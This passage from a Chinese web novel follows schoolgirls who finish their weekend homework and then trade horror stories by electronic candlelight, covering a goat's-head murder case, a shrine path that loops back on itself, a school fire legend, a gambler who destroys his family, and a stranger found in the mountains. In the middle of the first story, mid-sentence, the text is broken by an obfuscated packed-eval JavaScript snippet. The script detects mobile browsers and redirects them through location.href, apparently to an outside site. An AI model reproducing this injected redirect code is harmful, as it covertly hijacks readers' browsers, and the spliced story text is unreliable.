“毕竟抽象得像是某种不可说的存在,好不容易研究出来的东西实际上早就存在了,这种感觉其实还蛮打击人的吧。”森山寺未雅说,“不过未央这样是因为她如果不这样做的话每两分钟就会开始想别的东西。” “…总感觉我不是很想理解这个东西,幸好不是必修的。”有乐羽生露出了安心的微笑。 “真的吗?”犬山晓惊喜交加,“如果要学这个的话我就得想办法多长一个脑子了。” “哈哈哈——”有乐羽生觉得很好笑。 “要藏在腹腔吗?”艾克里普好奇地问,有乐羽生的笑顿住了,她迷茫地看向艾克里普,又看向犬山晓,迅速意识到这不是在开玩笑。 “那样血液循环结构会出问题的,我们又不是章鱼,哈哈哈。”犬山晓觉得这个很好笑。 “…先写英语作业吧。”有乐羽生摸出了英语作业本。 “英语作业要写日记呢,字数倒是只需要300字。”犬山晓说。 “今天发生的事情可不是三百字能写完的!”有乐羽生信心十足。 “今天发生的事可不是能写进日记里的。”森山寺未雅提醒说。 “…我对场景描写很有自信,绝对不会字数不够的。”有乐羽生笑着说。 “我们的周记是三千字,倒是能记录一件完整的事情了,要写什么好呢。”艾克里普思索着,“果然还是写一下对城市发展的看法吧,最近主要就是这件事了。” “你要给市政府邮箱投稿吗?”森山寺未雅质疑道。 “咦,可以吗?”艾克里普有些意外。 “可以哦,外国人的来信会更受重视的。”有乐羽生笑呵呵地说。 “拜托了请写一下让城市道路管理限制一下晚上骑摩托车的,如果可以的话至少关十年左右。”森山寺未雅郑重地请求道。 “摩托车确实很吵,晚上在居民区骑也太过分了。”犬山晓认可这个说法。 “晓说过自己有摩托车来着,是放在宿舍里吗?”有乐羽生一边写日记一边问。 “放在维修店里面了,宿舍好像不给学生提供车位,下次顺路的话就带大家去看看吧。”犬山晓说起自己的摩托车有些开心。 “拜托了请让我骑一下好吗就现在我可以自己去拿哪怕是拼上性命我也绝对不会摔坏的。”森山寺未雅郑重地请求道。 “现在已经是夜晚了哦。”艾克里普提醒道。 “…雨夜高速摩托车,竟是离我如此之近。”森山寺未雅的神情恍惚。 “这样一说的话我也。”有乐羽生也浮现出了一些想法。 “下次吧,现在先写作业。”犬山晓拿着笔说,“而且现在没有在下雨吧。” “写完了!和朋友在下雨天一起骑摩托车去朋友家玩!”有乐羽生放下了笔。 “这件事是什么时候发生的?”艾克里普疑惑道。 “刚刚!就在我的脑子里!”有乐羽生介绍说。 “没问题吗?万一这件事被告诉你妈妈了怎么办?”森山寺未雅问。 “诺拉老师也骑摩托车哦,她会理解的!”有乐羽生说。 “诺拉老师生活好丰富多彩啊。”犬山晓想起那位每日晨跑的老师,“她的朋友也特别多。” “确实,她是一位生活经历非常丰富的老人呢,有过三个国籍。”艾克里普也点头。 “这算什么,阅尽千帆的海贼王吗?”森山寺未雅大为惊讶。 “高等级的英语也是诺拉老师在教吗?”犬山晓好奇地问,她还挺喜欢诺拉老师的。 “是的,不过商务英语就是另外一个老师了。”艾克里普说道。 “商务英语的露琪亚老师是隔壁的班主任,她也是个很有意思的老师呢。”有乐羽生说。 “露琪亚老师,我记得她并不是外国人吧。”犬山晓有些奇怪这个名字。 “她之前是外贸公司的翻译,把自己在公司的花名带过来用了,说习惯被这样叫。”有乐羽生头头是道地介绍说,“露琪亚老师和古河老师关系也很好呢,在养猫这件事上。” “养猫啊。”森山寺未雅想起了那个在西西路屋子里找到的毛毡。 “我们学校流浪猫很多呢,尤其是主干道南边的温室那里。”犬山晓说道。 “毕竟大家都会喂,学校里有宠物养殖社团,定期会组织大型捕捉绝育活动,那个时候也有校外街道上的人会带着流浪猫过来呢。”有乐羽生说着笑了。 “这个感觉很有意思啊。”森山寺未雅对捕捉流浪猫很感兴趣。 “我就说为什么有些猫看上去不太一样,原来是有些被绝育了。被绝育之后的流浪猫多数都胖胖的呢。”犬山晓说。 “因为被绝育也象征着被校内社团的人喂养过一段时间了吧,新来的大多数是野外的。”森山寺未雅说。 “绝育后的动物也确实会因为激素影响而产生变化,但总体来说这是好事,下次我也去帮忙吧。”艾克里普一边说一边写作业。 “要一起去抓流浪猫吗?日之森对面的街区我看到过很多。”森山寺未雅问。 “咦?我说是帮忙绝育,不过捕捉这一块我也能帮忙就是了。”艾克里普点头。 “艾克里普还会给动物做手术啊!”有乐羽生十分惊讶。 “毕竟夜藤事务所以前虽然提供主要鸟类护理,但客人的其它宠物生病了也会过来问,一来二去就熟悉了很多。”艾克里普说起这里笑了,“而且小动物生病的话,只要不是过于严重的我治起来都很方便。” “这样一说确实,小动物生病很好懂呢,而且也不会特地和医嘱反着来。”犬山晓说。 “没错啊。”艾克里普叹了口气。 谈话间,森山寺未央写完了她的数学作业。 “哈哈!我回来了!”森山寺未央把耳罩一摘,“大家都聊了什么?” “宠物绝育。”森山寺未雅说。 “雨夜摩托。”有乐羽生说。 “政府投诉信。”艾克里普说。 “数学哲学与神学。”犬山晓说。 “如果可以的话我真想回放一下听听你们到底都聊了什么东西。”森山寺未央质疑道。 “你自己往上翻翻吧?”森山寺未雅说。 几人又一边聊着一边写起了剩下的作业,大家终于见识到了森山寺未央正常写作业的模样,说两分钟动一下还是不够频繁。 “这支笔好可爱!”森山寺未央写英语作业写一半看到桌上的笔就把自己的笔放下了。 “那个是在一个咖啡店买的文创周边,这个给你吧,它一套不知道为什么有六支。”犬山晓从自己的笔袋里摸出了一支新的递给森山寺未央,她迅速就用上了。 “这样一说的话我能不能也拥有一支呢?”有乐羽生眼巴巴地看着。 “那就一人一支吧。”犬山晓将自己那至少有一斤重的笔袋放在桌上,从中摸出了一模一样的新的几支笔,“明明是一模一样的笔为什么一套有六支呢?” “谢谢!这个确实很可爱呢。”艾克里普开心地接过白色自动圆珠笔,尾端有3d咖啡杯形状的按钮。 “这个咖啡店牌子吉祥物现在很火来着,而且这个笔还是限量版满赠的,它们家饮料好喝吗?”森山寺未央摸着滑溜溜的笔杆,爱不释手。 “不好喝,我买了好多牛角包。”犬山晓实话实说,“牛角包还扔给了克拉拉好多,说这是最近很多人排队的新店之后她也是会吃这种没什么花样的面包的。” “因为这种一般是很多人一起去咖啡店得到的奖励吧,起到一个宣传作用。”森山寺未雅把笔放在手里转着玩。 “哦哦!这个就是那个啊,放学后结伴一起去咖啡店,拍照之后上传社交网络,然后得到很多点赞之后把这个界面拿出来给大家看的那个!”有乐羽生两只手捏着笔杆说道。 “也太详细了吧,是班上有人给你看了这个吗?”森山寺未雅问。 “没人给我看啦,不过我确实看到过很多次。”有乐羽生笑着说。 “那我们也来拍吧!那个照片!”森山寺未央蠢蠢欲动。 “要拍吗?”犬山晓有些紧张。 “要拍照吗?一起来拍照吧!”艾克里普笑着说。 “要怎么拍?”犬山晓问道。 “就是大家把手放在一起,用笔杆尾巴碰在一起,这样。”有乐羽生比划着说。 “这样吗?”艾克里普也把笔杆尾巴碰了过去,轻轻的触碰发出轻轻的声响。 “手机,我的手机去哪里了?”森山寺未央在到处摸索自己的手机,从房间头找到房间尾,钻进床底都没有找到。 “我来拍吧!然后把作业本也拍进去,然后我还能发给母亲看我们在努力写作业呢。”有乐羽生说着,摸出了她那个之前被没收了,又被交还给她的手机。 “那我要不要把衣服换一下?”犬山晓又紧张了起来。 “不用啦,不用不用。”有乐羽生连忙摆手。 大家把笔杆的尾端碰在一起,五个相同的吉祥物下方衍生出五条线。有乐羽生拍下照片。 “我发在群里啦。”有乐羽生说。 “嗯!”艾克里普决定回去把照片洗出来摆在事务所二楼。 “未雅不用手机吗?”犬山晓好奇地问,她也听说过森山寺未雅没有手机,但不太了解原因。 “我不用手机,不过你们打电话的话我是能接受到的。”森山寺未雅展示自己的手表。 “为什么不用手机呢?”有乐羽生好奇地问,“没有手机不会不方便吗?” “没有手机就不能做的事情她就不会去做哦。”森山寺未央把下巴搁在桌子上。 “手机也没那么重要吧。”森山寺未雅想了想,“手机上能看到的东西也不是我们自己决定的,实在需要的话我会用电脑查一下的,或者用未央的。” 森山寺姐妹有编程课,平时也会带着笔记本电脑上学。 “没错!手机上大部分后来加上的功能并不是为了使用者,所以只保持最基本的功能就是够用的。”艾克里普赞同地点头。 “那就不能上课偷偷玩手机了!因为那样的话玩了也没意思。”森山寺未央说。 “上课还是不要玩手机比较好哦,老师看得很清楚的。”犬山晓担心道。 几人谈话间把作业写完了,期间森山寺未央没两分钟就要站起来或者躺在地上,或者滚来滚去,或者摸别人的东西。 “…这样也能保持学业成绩,未央也是很不容易呢。”有乐羽生对躺倒在她旁边的森山寺未央说道。 “区区学校成绩!”森山寺未央得意地哼了一声。 “周末的作业写完了!大家在一起写作业效率好高啊。”犬山晓满意地说。 “真的吗?你平时难道是在枪林弹雨中写作业的吗?”森山寺未雅感到质疑。 “因为大家一起的话时间度过的很快嘛。”犬山晓笑着说。 “晓完全没有被打扰到呢。”有乐羽生说。 “没错,大家在一起的话聊着天时间就消失了!”艾克里普点头。 “没错没错!”森山寺未央点头。 “你的话平时就是这样哦。”森山寺未雅低头看横穿桌子底下的一条森山寺未央。 “接下来是玩游戏时间!”森山寺未央从桌子底下爬了出来,“我可是从小学就开始准备这一天了。” “是派对游戏!派对游戏对吧!”有乐羽生非常期待。 “没错!”森山寺未央把自己从地下室翻出来的一个大篮筐,乍一眼看过去全都是各种桌面游戏,各种类型的牌和棋子,还有一个篮球大小的巨大骰子。 “这个是什么。”有乐羽生把大骰子摸了出来,“是随机游戏骰子呀。” “这么多全都是吗?”犬山晓看向篮筐里面。 “总之先从骰子开始决定吧,今天晚上注定会很长!”森山寺未央激动地说。 “我们房间的隔音很好,放心吧。”森山寺未雅说。 “不过叔叔阿姨好像也还没有睡觉的样子。”艾克里普说道。 “毕竟室内工作者的睡眠时间是随机的嘛,明天还是双休日。”森山寺未雅见怪不怪,“不对啊你是怎么知道她们还没睡觉的?” “二楼有人下楼,放心啦我不会特地去听的啦。”艾克里普连忙解释说。 “那我就相信你吧。”森山寺未雅点头,“可能是收拾东西的人走了,妈妈在这方面警惕性很强呢,也可能是去偷吃甜点的。” “我来骰吧!我骰了哦!”有乐羽生抱着骰子站了起来。 “哦哦!”森山寺未央激动地看向骰子滚落在地面上。 篮球大小的骰子在地面上四处碰壁之后翻滚了一会,缓慢地停在了“鬼吹灯”这一条上。 “是这个!”森山寺未雅非常惊喜。 “这个是一个恐怖电影的名字吧,要看电影吗?”犬山晓问道。 “不是啦,是轮流讲恐怖故事的游戏,本来有个更长的名字来着,不过这个更好理解吧?”森山寺未央一边说一边掏篮筐,掏出来五个电子蜡烛,一一启动开关放在几人面前,森山寺未雅起身把房间的灯关上,窗帘也拉上了。 房间内只剩下五根蓝色蜡烛映出的光,倒映在几人脸上。 “规则就是大家按顺序讲一个恐怖故事,讲完之后把蜡烛熄灭,就是这里,摁一下就好。”森山寺未央比划着说,“规则是要用真蜡烛的,不过那样的话有失火的风险所以改用电子的了。” “以前祭典的夜晚会有这样的游戏呢,也有用灯笼作为灯光的的。”艾克里普说着。 “我更喜欢那种哦!那种的话恐怖的感觉更多一点。”森山寺未雅笑着说。 “恐怖故事的话,要什么样的才能算是恐怖呢?”犬山晓问道。 “对哦,毕竟很多情况下,觉得吓人不过是因为本人不知道那是什么。对我们来说很多常见的恐怖要素都没办法吓到我们吧?风声啊野生动物啊什么的。”有乐羽生说道。 “毕竟我们什么都看得到嘛。”犬山晓点点头。 “那就没有不算那些的情况下也觉得恐怖的事情呢?”森山寺未央思索着,“大家自己认为恐怖就好,有没有这种情况呢?” 几人陷入了各自的回忆和思索中。 “有!有这样的事情。”出乎意料的,第一个提出的是艾克里普。 “居然是艾克里普第一个想出来。”森山寺未雅说,“不过我也想到了一个。” “我也有一个!绝对很吓人。”森山寺未央不甘示弱地说。 “这样想的话我确实也能说一件有些吓人的事情呢。”有乐羽生点头,她交叠蓬松的发丝在冷光下额外有存在感。 “我也有一个,不过我觉得还好,可能不是很吓人。但我也想不出来其它的了。”犬山晓犹豫着说,由于冷光晃眼睛,她向后靠去。 “那谁先来?”有乐羽生蠢蠢欲动地说。 “未央先讲吧,不然我担心我们讲一样的事情。”森山寺未雅说。 “好!那就我先来。”森山寺未央嘻嘻嘻地笑了起来。 “我要说的这件事虽然是我听说的,但我后来去现场求证过,所以这件事的真实性基本上可以盖章定论是绝对的。 我很喜欢逛各种论坛,尤其是我初中的时候,网络上纯文字的匿名论坛非常多,也由此给我带来了很多的乐趣啊!不对这里不该说这个。总之我很喜欢看其中第一人称视角的恐怖故事,里面恐怖的或不恐怖的都有,我大多数都看过。 而我要讲的这个故事也是一个以第一人称视角讲述的故事。 故事发生在一个南边乡下地方,那边养不了绵羊,但能养些山羊,但即使是围了栅栏山羊也会漫山遍野地跑。讲故事的人说她们那里会在山羊屁股上印记号,不怕弄混了,于是大多数人都很习惯出门的时候遇到别人家养的山羊。 这件事发生的那天也是一样的,她回家的时间比平时晚了些,天已经黑了,乡下路上灯不是很亮,但她很熟悉,带着个手电筒也不害怕走错路。不过即使是这样她也加快了脚步声,毕竟晚上总归是不那么安全的。 就是那个时候,她听见了路边茂密的树林中传出了枝叶晃动的声音,她吓了一跳。但很快,又有低沉的叫声传出,她认出了那是山羊的叫声。 我特地去搜了一下山羊怎么叫,其实羊的叫声都差不多,但是山羊的叫声更低哑一些。也就不那么可爱啦,不对这里不该说这个。 总而言之,她小心翼翼地用手电筒去照树丛之间,果然看到了一只山羊角,再仔细一看,山羊的脑袋也埋在树林里面。她彻底放下了心,还问那山羊是哪家的,为什么这么晚了还在外面,这里没什么好吃的草。 好像乡下的动物都挺亲人的吧?总之她是说,山羊如果听见有人说话,不管能不能听懂都会叫着回应几声,挺好玩的吧,和猫一样。 但是那只山羊不动,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808001|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是叫了几声。 她不太懂,但总之她得回去了,要是明天谁家说少了羊就再说吧。这样想着,她匆匆回到了家,吃了晚饭之后就正常休息了。睡觉之前她还奇怪,山羊之类的家畜一般天黑了就会聚集在一起,那只羊会不会受伤了? 第二天,她问家里人,附近有没有邻居丢了羊,或者说有羊受伤了。家里人都说没有,或者不知道,她再原路返回到昨天那一处看,却发现那羊还在那里。 她问:你怎么还在这?奇怪的是那羊这次却怎么都不叫了,她就伸手去扯羊的角,没想到一用力,把角连着的羊头都扯了下来,那只是一只羊头,树林里没有下半身在。” “哇哇哇!”有乐羽生小声叫到,“好恐怖啊,那这个人前一天看到的也是羊头?” “没错!”森山寺未央得意地笑了,“她吓了一跳,丢下羊头就跑了回家,告诉家里人这件事。于是家里人动员周围的人一起找,这才发现村里一户贫困人家的唯一一个人已经失踪许多天了,家里唯一一头羊也不见了,再找了好久之后,终于在山里发现了尸体。 她说后来警察来了,才发现其实已经失踪了许多个家里只有一个人而且不怎么与周围人沟通的人家,搜寻了许久之后终于在山里找到了个可疑人士,是个猎户,屋子里有好多山羊皮。” “…这人真是可恶。”艾克里普皱眉说,“不仅仅是做了坏事,这件事发生以后那里的人都要担惊受怕许久了。” “确实如此,这件事从事发到找到可疑人员,最终捕获,中间度过了三四年时间。期间很多人都从那里搬走了,我去看的时候那里已经很荒凉了。”森山寺未央说着,把蜡烛熄灭了。 “画面感很强,人模仿羊的叫声我都能想象到了。”犬山晓说。 “有画面感也是恐怖故事不得不品尝的一部分哦,接下来由我来说吧。”森山寺未雅说。“我要讲的是一个我们小时候去祖父母家时,我一个人到处乱跑发生的事情。” “毕竟祖父母家很大嘛。”森山寺未央点头。 “没错,不过我可是跑得比你想象中的远得多。”森山寺未雅说,“虽然说我们爸爸妈妈的职业是很现代化的室内工作者,但实际上,森山寺家是靠祭祀业和建筑业发家的。” “顺便说一句,虽然为了方便读,我们的姓氏做了现代化处理,但实际上森山寺的发音是得全部按汉字读的,很绕口对吧?”森山寺未央说。 “这样一念确实,不过晓的名字也是,读法是很古典的方式呢。”有乐羽生说道。 “这里我也会解释的啦。”森山寺未雅不满森山寺未央抢了她的话,“总而言之,就像这个姓氏一样,祖父母家里是在山区里很古老的建筑,虽然也是森山寺家建起来的,但时间已经久远到连祖父母都没办法记起来全部的构造和屋子了。 我们逢年过节会回老家,不仅仅是看祖父母领红包,也要祭祀家里一直供养的神明。神明特别特别多,有工匠神,土地神,以及家神。虽然是这样说,但可能是由于要拜的太多了,我们反而没什么敬畏的感觉呢,而且祭祀活动也有外人来参观,寺庙也是开放的。每年这个时候我们在简单地拜过了之后就会自己到处跑着玩了。 每个神都有自己的神庙,除了这些神庙以外的地方大多数都是我们可以随便跑进去看看的。但那一天我觉得人实在是太多了,就想找一个没人的地方待着,于是我四处看了之后发现后山有个木质小建筑,建筑旁边还有个石头建成的屋子,一大一小孤零零地在后山上,有条小路通着,我就往那里跑。 明明只有一条小路我却跑了好久,那时我第一次感受到,‘山’这个汉字是如此的具象化。我本来想找到路之后就回来找未央一起过去玩的,但我走到一半的时候抬头看还有一半,再走一半,抬头看却发现还有一半,回头看也还是那一半。 我觉得有些奇怪,就一边走一边研究了一下脚下的路,果不其然,虽然我看似是在往山上走,但实际上脚下的路一直在绕圈,而且不往回绕。 我明明是在往山上走的,但是却连自己在上升还是下降都分不清了,周围的树又高又密,天眼看着就有些暗了,当时我都在想要不要干脆把自己团成团,靠地心引力滚下山试试。 就在我这么想的时候,我忽然就听见了祖母的声音,她问我为什么在这里,我如实说了,她叹了口气之后就牵着我的手走了,我们离开了后山,没有迷路。 我问祖母那一大一小的屋子是什么,她说是我们家的‘氏神’,这么说我当然是还会追问的,但是她却说不用问这个,那里很快就不必再去拜了。我当然也问了为什么,她说因为本来要靠氏神守护的工艺已经没有传承的价值了,后面就没有了。 总之,过程比较恐怖吧,不过后来我就真的没再见过那一大一小俩屋子就是了。” 说完,森山寺未雅熄灭了蜡烛。 “还有这么一件事啊!”森山寺未央惊讶道,“我都不记得还有这么一天了,就记得每次回老家都和走程序似的,怪不得妈妈不喜欢带我们回老家玩。” “是很有年代感的建筑呢,而且拜那么多神,我真想去看看。”艾克里普想象出了一些画面,“这么多神庙的话,注意事项一定很多吧。” “其实神庙之间是有一定距离的,不过确实很多规矩,所以才说像是走程序嘛。”森山寺未雅点头,“不过似乎每个地位的神只挑了一位拜,拜的方式也不一样。” “感觉是和这里的神社完全不一样的存在啊。”犬山晓有些好奇,“不过为什么有这样的家庭背景,森山寺阿姨还是会选择往科学家的方向发展呢?” “因为妈妈是在国外完成的大学以及之后的学业的吧,不过这也主要是她自己的决定。不过妈妈也说过让她去留学是祖母的决定,不清楚祖母是怎么想的,那么多年前去国外读书可是很不容易的。”森山寺未雅说。 “长辈的故事总是扑朔迷离的呢。”有乐羽生说,“接下来就由我来说吧。 一般来说,学校都会有类似于校园怪谈的故事存在吧?日之森也同样如此,作为有近百年历史的老高中,日之森在成立初期并不是现在这幅偏向西洋风的样子。相反,那时日之森的建筑大部分是木质的,而且校风即使在当时来看也是非常封建的古板作风,和谐勇气包容一个不沾,简直就是守在坟墓边上的存在。 与此相对应的,那时的日之森校区也非常狭小,我们现在看到的校区北边的近三分之二校区范围都是后期在多个校董会成员的投资后才逐渐收购并扩建的。而造成日之森改变的原因是半个世纪前的一场大火,具体原因已经无法考究了,但流传到现在的说法有许多,例如是□□成员的示威,战后政治斗争的结果,或者是学生动的手。 总而言之,老旧的木头建筑们在一场大火之后燃烧殆尽了,同时,那场大火带走了很多生命。在当时,日之森的重建遇到了很多各式各样的阻碍,而我要说的恐怖故事就是源于校区重建时发生的一件特别奇怪的事情。 大家都记得吧,日之森入口的左侧,也就是校区的最南边,临着温室有条绿地河。那明明更像是某种湖泊或者池塘,并没有与外部的水道相联通,却被叫做是河。这是因为一开始绿地河一开始确实是与外界流通的,并且直通西部的山区,后来两端堵截,才形成了如今这个样子。 而与此同时,日之森校区的北边,食堂的后面有一片湖波,它的名字是日之森湖,这人工湖形成的原因基本上是因为校区的路面平坦度需要大面积的土地支持。 两者放在一起看的话,大家可能就会觉得,后期挖掘出来的日之森湖是有些多余的吧?一开始建筑工人们的打算应该是保留部分绿地和河道并引导河流走向,只抽取浅层泥土,在保留水道以保护周围环境的情况下减少运输距离。 设想大概是如此,但当真正开始工程时,却发生了意外的情况。一方面,抽水机日夜运行,但绿地河河道中的水就是无法被抽干,甚至早上抽干,夜晚就回满了。另一方面,地面出现了大面积的软陷和鼓包,挖出的泥土也极容易塌陷,并且当时经常出现晴空落雨,并且只聚集在日之森上空。后来建筑队就在北区挖掘出了人工湖作为替代,这些事现在其实很好用科学解释了吧,但当时可是兴起了很多传说。日之森的校区离居民区并不远,市民们对这些事有目共睹,一来二去很多事情就被妖魔化了。 例如,水抽不干是因为火灾的遇难者的尸体在水底,塌陷是因为水底有尸体想爬出来,天气异常是因为有灵魂在哭泣。之类种种怪谈传说,即使是如今的午餐时间也有些许同学在谈论。 我小学时期也因为这些传说而不敢靠近温室附近,也很害怕去那附近的实验教学楼和行政楼,但有的学生却偏偏很喜欢去那些安静的无人地方。有一次,有个初中部的学生在放学后去实验教学楼写作业,写着写着睡着了,偏偏安保人员也没有注意到她,于是她就这样被锁在实验教学楼里整整一个晚上。第二天安保人员开门时,她应该原本是背靠着大门坐在地上的,门一开,她就倒了出来,她眼睛睁着,却没有任何反应。 后来她被带去了医院,应该是受了精神刺激什么的,好在本身没有太大的问题。但据去探望她的同学说的,她是因为晚上在那教学楼里看到了什么才受了那么大的惊吓。 而同时,因为临近水源,那栋实验教学楼实际上是唯一在火灾之后没有完全重建,而是修补之后就再次投入使用的教学楼。 若仅仅如此,那这件事就可能只是那位同学受到惊吓之后说的胡话。但事实是那位同学被送进医院之后实验教学楼就被完全封禁并进行调查,之后也再也没有被投入使用,完全作为纪念建筑存在着,大家上课都只在现在那栋大教学楼上课了。 就是这样,我的故事说完了。”有乐羽生熄灭了身前的蜡烛。 69.第六行 “…前面我还想说这些很好解释,比如河道下层土壤是高渗透,并且有地下涌泉什么的。但后面这个没办法解释吧。”森山寺未央摸了摸自己的胳膊,声音轻轻的。 随着现场只剩下两个蜡烛,原本还有些热闹的场面变得昏暗了起来。 “就是这种,我喜欢的就是这种。”森山寺未雅声音里透露出喜悦,“我一直很奇怪那栋楼为什么没人用,原来是这样,日之森还有如此有趣的故事啊!” “强行改动河道就是会发生这样的事情呢,不过现在那里的生态还不错。”艾克里普说。 “所以那个同学到底是看到了什么呢?”犬山晓有些在意这件事,“那个同学后面没有再回日子森上课了吗?” “现在那位同学已经高中毕业了,学生会也会阻止大家谈论这种事情,摄像头装起来后大家也就没办法偷偷跑进去了。后来那位同学经过心理治疗,回校内后就不再主动提这些事情,但她是否有和朋友说过我就不知道了。”有乐羽生摇了摇头。 “或许我们后面也会从别的人口里听到不同版本的吧。”森山寺未雅说。 “这样的行为对于当事人来说确实是一种保护呢,尤其是在同班之间。”艾克里普说道,“接下来由我来讲述吧,这件事是很久之前我还在夜藤事务所当学徒时遇到的事情,当事人全部已经过世了。故事跨度有些长,但内容不算很多。 当时,夜藤事务所还承接鸟类的贩卖和护理业务,虽然大部分鸟类的来源都是繁育商,但也有普通市民带着鸟类来事务所售卖。这一类大部分是自家鸟类的后代,或者说因为各种原因无法继续饲养鸟类,后续也不打算继续饲养的。 但这件事的当事人是个很奇怪的人,我能看出他本性并不是一个多坏的人,家人健在。并且他与他的宠物关系也相当好,但他来到事务所,目的却是贩卖那只被精心饲养的画眉。 当时他说的并不是贩卖,而是抵押,也就是说他想要用鸟作为抵押在事务所这里拿到一笔钱,后面再赎回去,期间的部分利息就算是饲养费用之类的。当时我觉得这个行为虽然奇怪但也并非完全无法理喻,再加上我的老师当时已经很少在事务所里,说让我自己判断一些事情,我就答应了这一请求。 那人拿了钱以后就走了,期限是一周,这一周里他偶尔会路过事务所看一眼。 一周不到那男人就带着钱回来了,他语气很激动,甚至在赎回了宠物之后多付了许多金额作为照顾鸟类的报酬。我说不需要,但他还是丢下钱就走了。 后来,那个人又带着那只画眉来事务所了,说要抵押。”艾克里普说到这里,语气里还是疑惑的,她至今无法理解那人当时是怎么想的。 “我看出来这人似乎是经历了一些打击,并且下定决心做出这样的行为。所以即使我不赞同这样的做法,却也没有拒绝他的委托,还是一样的价钱,我将他当时多给的报酬一同还了回去,他带着钱走了,脚步很匆忙。 期限还是一周,但一天之后,也就是抵押的后天,那人就来到事务所说要结束抵押。我当时认为是事情得到了转机,就没有算他利息,按本金收回了抵押款。 但是第二天,就是第二天事务所刚刚开门的时候,那人就又上门了,手里提着笼子,步履重而急,门一开就冲进来说要抵押。那只画眉的精神不太好,我虽然不知道发生了什么,但事务所本就不该做这样的事情,我先问他发生了什么,他说投资失败了急需用钱。 我当时找了个借口离开,打电话问夜藤老师该怎么办,夜藤老师告诉我说那男人是个赌徒,不要借钱给他,还担心我会不会被那人伤害到。于是我回去拒绝了那个男人,他沉默了很久,后面有别的客人等在外面了,我问他还需要什么吗? 他说,他要卖掉那只画眉。 那只画眉什么都不知道,精神不太好,一看就知道很久没有出笼子了。那人明明根本就不舍得的,却还是那样说了。我直接告诉他,我知道他得到钱款之后会去赌博,最后只会把一切都输光,不可能再有机会把那只画眉买回去了。 然后那人就像疯了一样开始踢事务所的桌子,那画眉本就精神不好,一受到惊吓,都掉下杆子了。外面的人听见动静都进来帮忙了,那人被压制住之后威胁我说,他回去之后不可能继续养那只画眉了,如果我不给他钱,他回去就把鸟放生了。 那只画眉本身完全不具备野外生存的能力,很多人骂他,但他也一直骂。后来我就用自己的钱款收下了那只画眉,并且告诉他不许再来事务所了。 后面一连几天,我都没有看到那人来事务所,我本来以为那件事就此结束了,没想到有一天有三个人来到事务所,自称是那人的家人,是一对老年夫妻和那人的妻子。她们看上去很累,问我那只画眉是不是还在这里。 我听那些人说了很多事情,例如那人在四处借钱赌博,把钱输光了就偷了家里长辈养的鸟去抵押,一开始只说是在朋友那,后面再也没带回来后家人才意识到可能出事了,一连问了好多人才知道之前发生的事情。她们道歉了很久,说家里帮他还了好多钱了没想到还能做出这种事情,现在他和家里人下跪保证绝对不会再赌博了,以后就只会一直老实挣钱还债。还说这只画眉是家里长辈的爱宠,希望能带回去。 我觉得她们可怜,就没有收钱,将鸟还回去了,并且叮嘱说那只画眉之前受了惊吓,之后一定要安置在安静的地方。她们答应下来,道谢之后就离开了。 后来过去了好久,一次我去医院,听到走廊有人在谈论之前救护车送进急诊的一家三口最后都没挺过手术。我过去问,隔壁的人说是一个赌徒让家里人给钱,家里人不给,赌徒就拿刀威胁妻子和同住的妻子父母,最后还打电话叫了救护车,自己跑去不知道哪里了。 这实在是太耳熟了不是吗?我找到了那人的住址,室内被清理了之后还是留着血腥气,鸟笼不见了。我想办法追查到了那人的下落,却发现他已经在一个出租屋里上吊结束了自己的生命,那只画眉也没了气息,原因大概是是饥饿。 我后来回到医院,老师说她们也知道发生什么事了,还骂我说不要想这么多,这不是我造成的结果。但是这件事我想了很久,我无论如何都无法理解那人为何要做出那样的事情,最后甚至不愿意把那只画眉带来我这里。总之,我的故事说完了。”艾克里普熄灭了蜡烛。 “艾克里普能看出来这个人并不是能做出那种事的人,可他就是这样做了,所以才疑惑吧。”有乐羽生说道,“人很容易被欲望异化的,他赌博赢钱的那一刻起就已经被扭曲了。” “可是既然他都赢钱了,为什么还要去赌呢?”艾克里普无论如何都想不通,“而且他家人都健在,他为什么能就这样擅自做出如此冒进的事情呢?” “总感觉这种人我见过不少。”犬山晓思索着说,“不过第一次从这个角度听到故事,确实有种毛骨悚然的感觉啊。” “无法理解才比较好吧?”森山寺未雅说。 “希望这种事离我们远一点,被这种人沾上算是倒霉。”森山寺未央耸着肩说。 “接下来就是我了。”犬山晓说,“先说好,这件事发生的很大一部分原因是因为我本人的判断力不佳,所以大家听了之后可能会觉得很奇怪而不是恐怖,但我确实是被吓了一跳的。 我之前为了修行在山区生活过一段时间,并不是在山里隐居的那种感觉,而是简单地找了个水源附近清理了一块地出来,靠着魔法生存。当时我已经脱离了为魔力烦恼的时间段了,所以即使山林里没什么我能吃的食物,也不具备生活条件,但我还是在那里待了很久。 山林里也有魔物,除此之外有害的动物和植物更多,但就是没有人。我本来就是想找个没人的地方修行一下自身,所以特地挑了没有被开发过的地方。 但是有一天,山里下了大雨,河水泛出了河道,因为担心山体滑坡把我埋了,我没有待在本来搭建在河边的简易小台子上,而是去往更高的地方待着了。雨停后我回来一看,发现小台子上倒了个人,浑身湿透了,但却穿着厚毛衣,我很久没见过人了于是过去一看,发现那人的背上衣物和伤口混在一起,整个人一动不动的,但也还有口气。 我带着那人去山上我新建的小木屋待着,我不太会处理伤口,就趁着那人还晕着帮忙治疗了一下内伤,并帮忙恢复了一些体力。那人面色很苍白,但好歹是活了下来,醒来之后就住下了,我帮忙新搭建了一个小屋子,那人不怎么说话,但吃的很多力气也很大,所以相处了一段时间过后原本的伤也逐渐好了起来,也能站起来行走了,但就是不脱毛衣。 我没事的时候就会去瀑布底下待着,因为时间会过的很快。同时瀑布的水流会时刻让我周身的魔力处于置凝状态,也会冲刷走身上不知道什么时候沾上的脏东西。那人虽然和我不生活在同一屋子里,但时间久了我也会觉得那人身上有股不好闻的味道。 我们没有语言沟通过,但也能理解对方。我让那人去洗澡,那人不肯,我觉得可能是因为伤口还没好完,就用大石头做了个盆,带水过去让那人自己擦一下。那人推着石盆进了自己的屋子,我本来准备离开了却听见屋子里传出了摔倒拉扯的声音,就连忙过去看。 